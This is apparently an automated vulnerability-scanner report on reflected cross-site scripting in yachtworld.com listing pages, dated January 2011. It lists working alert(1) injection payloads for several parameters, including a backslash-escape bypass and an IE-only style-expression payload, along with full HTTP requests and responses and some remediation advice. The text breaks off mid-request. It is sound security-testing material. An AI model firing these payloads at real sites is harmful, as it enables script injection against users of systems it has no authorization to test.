The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3100b"><script>alert(1)</script>2bb13b8b4d3 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privatelabel/listing/cache/pl_search_results.jsp?slim=pp2797573100b"><script>alert(1)</script>2bb13b8b4d3&cit=true&sm=3&is=&man=&fromLength=&toLength=&luom=126&fromYear=&toYear=&fromPrice=&toPrice=¤cyid=100&hmid=&ftid=&enid=&city=&spid=&rid=&cint=&msint=&ps=50 HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.atlanticmarinesales.com/index.php/inventory/new-inventory/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:14 GMT Server: Apache Cache-Control: private Set-Cookie: yw_c_id=1309785053367209910; path=/; expires=Tue, 14-Feb-2079 22:52:21 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 63275
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transiti ...[SNIP]... <a href="/privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp2797573100b"><script>alert(1)</script>2bb13b8b4d3¤cy=USD&units=Feet¤cyid=100&checked=2235887&checked=2305259&checked=2275334&checked=2272084&checked=1451158&checked=2305727&checked=2098392&checked=1657843&checked=1686737&checked=2204164&c ...[SNIP]...
The value of the sm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c911'%3balert(1)//e8a575a9037 was submitted in the sm parameter. This input was echoed as 2c911';alert(1)//e8a575a9037 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privatelabel/listing/cache/pl_search_results.jsp?slim=pp279757&cit=true&sm=32c911'%3balert(1)//e8a575a9037&is=&man=&fromLength=&toLength=&luom=126&fromYear=&toYear=&fromPrice=&toPrice=¤cyid=100&hmid=&ftid=&enid=&city=&spid=&rid=&cint=&msint=&ps=50 HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.atlanticmarinesales.com/index.php/inventory/new-inventory/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:38:34 GMT Server: Apache Cache-Control: private Set-Cookie: yw_c_id=7555166865925079182; path=/; expires=Tue, 14-Feb-2079 22:52:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 19907
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "32c911';alert(1)//e8a575a9037"<br> ...[SNIP]...
The value of the so request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65c0f"><script>alert(1)</script>98054a37654 was submitted in the so parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privatelabel/listing/cache/pl_search_results.jsp?ps=50&slim=pp279757&uom=126&sm=3&duom=126&wuom=126¤cyid=100&luom=126&ps=50&searchPage=%2Flisting%2Fcache%2Fboats_for_sale_qs.jsp&so=265c0f"><script>alert(1)</script>98054a37654&slim=pp279757¤cy=USD&units=Feet¤cyid=100& HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:08 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the slim request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c4090\'%3balert(1)//884e898defa was submitted in the slim parameter. This input was echoed as c4090\\';alert(1)//884e898defa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757c4090\'%3balert(1)//884e898defa¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:01:26 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85379"style%3d"x%3aexpression(alert(1))"7ba51db43dd was submitted in the slim parameter. This input was echoed as 85379"style="x:expression(alert(1))"7ba51db43dd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp27975785379"style%3d"x%3aexpression(alert(1))"7ba51db43dd¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:01:20 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e075d'><script>alert(1)</script>458e4d47109 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757e075d'><script>alert(1)</script>458e4d47109¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:01:21 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the units request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload afbf8'><script>alert(1)</script>cd465d0da5d was submitted in the units parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757¤cy=USD&units=Feetafbf8'><script>alert(1)</script>cd465d0da5d¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 